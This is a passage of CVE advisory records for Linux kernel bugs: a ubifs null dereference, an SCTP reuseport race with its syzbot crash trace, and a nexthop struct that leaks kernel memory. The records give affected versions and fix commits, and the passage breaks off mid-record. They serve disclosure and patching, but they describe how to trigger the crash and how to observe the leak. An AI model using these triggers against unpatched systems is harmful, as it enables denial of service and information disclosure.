              "lessThan": "e01b55f261ccc96e347eba4931e4429d080d879d",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
              "lessThan": "40e25a3c0063935763717877bb2a814c081509ff",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
              "lessThan": "77e5266e3d3faa6bdcf20d9c68a8972f6aa06522",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
              "lessThan": "2a987950df825d0144370e700dc5fb337684ffba",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
              "lessThan": "bdb0ca39e0acccf6771db49c3f94ed787d05f2d7",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ubifs/debug.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.27"
            },
            {
              "lessThan": "2.6.27",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nubifs: skip dumping tnc tree when zroot is null\n\nClearing slab cache will free all znode in memory and make\nc-\u003ezroot.znode = NULL, then dumping tnc tree will access\nc-\u003ezroot.znode which cause null pointer dereference."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:28.643Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/428aff8f7cfb0d9a8854477648022cef96bcab28"
        },
        {
          "url": "https://git.kernel.org/stable/c/6211c11fc20424bbc6d79c835c7c212b553ae898"
        },
        {
          "url": "https://git.kernel.org/stable/c/1787cd67bb94b106555ffe64f887f6aa24b47010"
        },
        {
          "url": "https://git.kernel.org/stable/c/e01b55f261ccc96e347eba4931e4429d080d879d"
        },
        {
          "url": "https://git.kernel.org/stable/c/40e25a3c0063935763717877bb2a814c081509ff"
        },
        {
          "url": "https://git.kernel.org/stable/c/77e5266e3d3faa6bdcf20d9c68a8972f6aa06522"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a987950df825d0144370e700dc5fb337684ffba"
        },
        {
          "url": "https://git.kernel.org/stable/c/bdb0ca39e0acccf6771db49c3f94ed787d05f2d7"
        }
      ],
      "title": "ubifs: skip dumping tnc tree when zroot is null",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58058",
    "datePublished": "2025-03-06T15:54:01.033Z",
    "dateReserved": "2025-03-06T15:52:09.179Z",
    "dateUpdated": "2026-05-12T12:02:01.810Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44935 (GCVE-0-2024-44935)

Vulnerability from cvelistv5 – Published: 2024-08-26 10:11 – Updated: 2026-05-12 11:57

Title

sctp: Fix null-ptr-deref in reuseport_add_sock().

Summary

In the Linux kernel, the following vulnerability has been resolved: sctp: Fix null-ptr-deref in reuseport_add_sock(). syzbot reported a null-ptr-deref while accessing sk2->sk_reuseport_cb in reuseport_add_sock(). [0] The repro first creates a listener with SO_REUSEPORT. Then, it creates another listener on the same port and concurrently closes the first listener. The second listen() calls reuseport_add_sock() with the first listener as sk2, where sk2->sk_reuseport_cb is not expected to be cleared concurrently, but the close() does clear it by reuseport_detach_sock(). The problem is SCTP does not properly synchronise reuseport_alloc(), reuseport_add_sock(), and reuseport_detach_sock(). The caller of reuseport_alloc() and reuseport_{add,detach}_sock() must provide synchronisation for sockets that are classified into the same reuseport group. Otherwise, such sockets form multiple identical reuseport groups, and all groups except one would be silently dead. 1. Two sockets call listen() concurrently 2. No socket in the same group found in sctp_ep_hashtable[] 3. Two sockets call reuseport_alloc() and form two reuseport groups 4. Only one group hit first in __sctp_rcv_lookup_endpoint() receives incoming packets Also, the reported null-ptr-deref could occur. TCP/UDP guarantees that would not happen by holding the hash bucket lock. Let's apply the locking strategy to __sctp_hash_endpoint() and __sctp_unhash_endpoint(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017] CPU: 1 UID: 0 PID: 10230 Comm: syz-executor119 Not tainted 6.10.0-syzkaller-12585-g301927d2d2eb #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/27/2024 RIP: 0010:reuseport_add_sock+0x27e/0x5e0 net/core/sock_reuseport.c:350 Code: 00 0f b7 5d 00 bf 01 00 00 00 89 de e8 1b a4 ff f7 83 fb 01 0f 85 a3 01 00 00 e8 6d a0 ff f7 49 8d 7e 12 48 89 f8 48 c1 e8 03 <42> 0f b6 04 28 84 c0 0f 85 4b 02 00 00 41 0f b7 5e 12 49 8d 7e 14 RSP: 0018:ffffc9000b947c98 EFLAGS: 00010202 RAX: 0000000000000002 RBX: ffff8880252ddf98 RCX: ffff888079478000 RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000012 RBP: 0000000000000001 R08: ffffffff8993e18d R09: 1ffffffff1fef385 R10: dffffc0000000000 R11: fffffbfff1fef386 R12: ffff8880252ddac0 R13: dffffc0000000000 R14: 0000000000000000 R15: 0000000000000000 FS: 00007f24e45b96c0(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffcced5f7b8 CR3: 00000000241be000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> __sctp_hash_endpoint net/sctp/input.c:762 [inline] sctp_hash_endpoint+0x52a/0x600 net/sctp/input.c:790 sctp_listen_start net/sctp/socket.c:8570 [inline] sctp_inet_listen+0x767/0xa20 net/sctp/socket.c:8625 __sys_listen_socket net/socket.c:1883 [inline] __sys_listen+0x1b7/0x230 net/socket.c:1894 __do_sys_listen net/socket.c:1902 [inline] __se_sys_listen net/socket.c:1900 [inline] __x64_sys_listen+0x5a/0x70 net/socket.c:1900 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f24e46039b9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 91 1a 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f24e45b9228 EFLAGS: 00000246 ORIG_RAX: 0000000000000032 RAX: ffffffffffffffda RBX: 00007f24e468e428 RCX: 00007f24e46039b9 RDX: 00007f24e46039b9 RSI: 0000000000000003 RDI: 0000000000000004 RBP: 00007f24e468e420 R08: 00007f24e45b96c0 R09: 00007f24e45b96c0 R10: 00007f24e45b96c0 R11: 0000000000000246 R12: 00007f24e468e42c R13: ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/c9b3fc4f157867e85…
https://git.kernel.org/stable/c/52319d9d2f522ed93…
https://git.kernel.org/stable/c/54b303d8f9702b8ab…
https://git.kernel.org/stable/c/05e4a0fa248240efd…
https://git.kernel.org/stable/c/1407be30fc17eff91…
https://git.kernel.org/stable/c/e809a84c802377ef6…
https://git.kernel.org/stable/c/9ab0faa7f9ffe3129…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < c9b3fc4f157867e858734e31022ebee8a24f0de7 (git) Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < 52319d9d2f522ed939af31af70f8c3a0f0f67e6c (git) Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < 54b303d8f9702b8ab618c5032fae886b16356928 (git) Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < 05e4a0fa248240efd99a539853e844f0f0a9e6a5 (git) Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < 1407be30fc17eff918a98e0a990c0e988f11dc84 (git) Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < e809a84c802377ef61525a298a1ec1728759b913 (git) Affected: 6ba84574026792ce33a40c7da721dea36d0f3973 , < 9ab0faa7f9ffe31296dbb9bbe6f76c72c14eea18 (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.105 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44935",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:27:48.024530Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:32:55.835Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:13:41.187Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:14.607Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/input.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c9b3fc4f157867e858734e31022ebee8a24f0de7",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            },
            {
              "lessThan": "52319d9d2f522ed939af31af70f8c3a0f0f67e6c",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            },
            {
              "lessThan": "54b303d8f9702b8ab618c5032fae886b16356928",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            },
            {
              "lessThan": "05e4a0fa248240efd99a539853e844f0f0a9e6a5",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            },
            {
              "lessThan": "1407be30fc17eff918a98e0a990c0e988f11dc84",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            },
            {
              "lessThan": "e809a84c802377ef61525a298a1ec1728759b913",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            },
            {
              "lessThan": "9ab0faa7f9ffe31296dbb9bbe6f76c72c14eea18",
              "status": "affected",
              "version": "6ba84574026792ce33a40c7da721dea36d0f3973",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/input.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.105",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: Fix null-ptr-deref in reuseport_add_sock().\n\nsyzbot reported a null-ptr-deref while accessing sk2-\u003esk_reuseport_cb in\nreuseport_add_sock(). [0]\n\nThe repro first creates a listener with SO_REUSEPORT.  Then, it creates\nanother listener on the same port and concurrently closes the first\nlistener.\n\nThe second listen() calls reuseport_add_sock() with the first listener as\nsk2, where sk2-\u003esk_reuseport_cb is not expected to be cleared concurrently,\nbut the close() does clear it by reuseport_detach_sock().\n\nThe problem is SCTP does not properly synchronise reuseport_alloc(),\nreuseport_add_sock(), and reuseport_detach_sock().\n\nThe caller of reuseport_alloc() and reuseport_{add,detach}_sock() must\nprovide synchronisation for sockets that are classified into the same\nreuseport group.\n\nOtherwise, such sockets form multiple identical reuseport groups, and\nall groups except one would be silently dead.\n\n  1. Two sockets call listen() concurrently\n  2. No socket in the same group found in sctp_ep_hashtable[]\n  3. Two sockets call reuseport_alloc() and form two reuseport groups\n  4. Only one group hit first in __sctp_rcv_lookup_endpoint() receives\n      incoming packets\n\nAlso, the reported null-ptr-deref could occur.\n\nTCP/UDP guarantees that would not happen by holding the hash bucket lock.\n\nLet\u0027s apply the locking strategy to __sctp_hash_endpoint() and\n__sctp_unhash_endpoint().\n\n[0]:\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000002: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]\nCPU: 1 UID: 0 PID: 10230 Comm: syz-executor119 Not tainted 6.10.0-syzkaller-12585-g301927d2d2eb #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/27/2024\nRIP: 0010:reuseport_add_sock+0x27e/0x5e0 net/core/sock_reuseport.c:350\nCode: 00 0f b7 5d 00 bf 01 00 00 00 89 de e8 1b a4 ff f7 83 fb 01 0f 85 a3 01 00 00 e8 6d a0 ff f7 49 8d 7e 12 48 89 f8 48 c1 e8 03 \u003c42\u003e 0f b6 04 28 84 c0 0f 85 4b 02 00 00 41 0f b7 5e 12 49 8d 7e 14\nRSP: 0018:ffffc9000b947c98 EFLAGS: 00010202\nRAX: 0000000000000002 RBX: ffff8880252ddf98 RCX: ffff888079478000\nRDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000012\nRBP: 0000000000000001 R08: ffffffff8993e18d R09: 1ffffffff1fef385\nR10: dffffc0000000000 R11: fffffbfff1fef386 R12: ffff8880252ddac0\nR13: dffffc0000000000 R14: 0000000000000000 R15: 0000000000000000\nFS:  00007f24e45b96c0(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffcced5f7b8 CR3: 00000000241be000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n __sctp_hash_endpoint net/sctp/input.c:762 [inline]\n sctp_hash_endpoint+0x52a/0x600 net/sctp/input.c:790\n sctp_listen_start net/sctp/socket.c:8570 [inline]\n sctp_inet_listen+0x767/0xa20 net/sctp/socket.c:8625\n __sys_listen_socket net/socket.c:1883 [inline]\n __sys_listen+0x1b7/0x230 net/socket.c:1894\n __do_sys_listen net/socket.c:1902 [inline]\n __se_sys_listen net/socket.c:1900 [inline]\n __x64_sys_listen+0x5a/0x70 net/socket.c:1900\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f24e46039b9\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 91 1a 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f24e45b9228 EFLAGS: 00000246 ORIG_RAX: 0000000000000032\nRAX: ffffffffffffffda RBX: 00007f24e468e428 RCX: 00007f24e46039b9\nRDX: 00007f24e46039b9 RSI: 0000000000000003 RDI: 0000000000000004\nRBP: 00007f24e468e420 R08: 00007f24e45b96c0 R09: 00007f24e45b96c0\nR10: 00007f24e45b96c0 R11: 0000000000000246 R12: 00007f24e468e42c\nR13:\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:32:19.158Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c9b3fc4f157867e858734e31022ebee8a24f0de7"
        },
        {
          "url": "https://git.kernel.org/stable/c/52319d9d2f522ed939af31af70f8c3a0f0f67e6c"
        },
        {
          "url": "https://git.kernel.org/stable/c/54b303d8f9702b8ab618c5032fae886b16356928"
        },
        {
          "url": "https://git.kernel.org/stable/c/05e4a0fa248240efd99a539853e844f0f0a9e6a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/1407be30fc17eff918a98e0a990c0e988f11dc84"
        },
        {
          "url": "https://git.kernel.org/stable/c/e809a84c802377ef61525a298a1ec1728759b913"
        },
        {
          "url": "https://git.kernel.org/stable/c/9ab0faa7f9ffe31296dbb9bbe6f76c72c14eea18"
        }
      ],
      "title": "sctp: Fix null-ptr-deref in reuseport_add_sock().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44935",
    "datePublished": "2024-08-26T10:11:27.384Z",
    "dateReserved": "2024-08-21T05:34:56.664Z",
    "dateUpdated": "2026-05-12T11:57:14.607Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42283 (GCVE-0-2024-42283)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:08 – Updated: 2026-05-12 11:56

Title

net: nexthop: Initialize all fields in dumped nexthops

Summary

In the Linux kernel, the following vulnerability has been resolved: net: nexthop: Initialize all fields in dumped nexthops struct nexthop_grp contains two reserved fields that are not initialized by nla_put_nh_group(), and carry garbage. This can be observed e.g. with strace (edited for clarity): # ip nexthop add id 1 dev lo # ip nexthop add id 101 group 1 # strace -e recvmsg ip nexthop get id 101 ... recvmsg(... [{nla_len=12, nla_type=NHA_GROUP}, [{id=1, weight=0, resvd1=0x69, resvd2=0x67}]] ...) = 52 The fields are reserved and therefore not currently used. But as they are, they leak kernel memory, and the fact they are not just zero complicates repurposing of the fields for new ends. Initialize the full structure.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/fd06cb4a5fc7bda3d…
https://git.kernel.org/stable/c/5cc4d71dda2dd4f15…
https://git.kernel.org/stable/c/9e8f558a3afe99ce5…
https://git.kernel.org/stable/c/1377de719652d868f…
https://git.kernel.org/stable/c/7704460acd7f5d35e…
https://git.kernel.org/stable/c/a13d3864b76ac8708…
https://git.kernel.org/stable/c/6d745cd0e9720282c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 430a049190de3c9e219f43084de9f1122da04570 , < fd06cb4a5fc7bda3dea31712618a62af72a1c6cb (git) Affected: 430a049190de3c9e219f43084de9f1122da04570 , < 5cc4d71dda2dd4f1520f40e634a527022e48ccd8 (git) Affected: 430a049190de3c9e219f43084de9f1122da04570 , < 9e8f558a3afe99ce51a642ce0d3637ddc2b5d5d0 (git) Affected: 430a049190de3c9e219f43084de9f1122da04570 , < 1377de719652d868f5317ba8398b7e74c5f0430b (git) Affected: 430a049190de3c9e219f43084de9f1122da04570 , < 7704460acd7f5d35eb07c52500987dc9b95313fb (git) Affected: 430a049190de3c9e219f43084de9f1122da04570 , < a13d3864b76ac87085ec530b2ff8e37482a63a96 (git) Affected: 430a049190de3c9e219f43084de9f1122da04570 , < 6d745cd0e9720282cd291d36b9db528aea18add2 (git)
Linux	Linux	Affected: 5.3 Unaffected: 0 , < 5.3 (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42283",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:11:29.775671Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:05.278Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:03:26.190Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
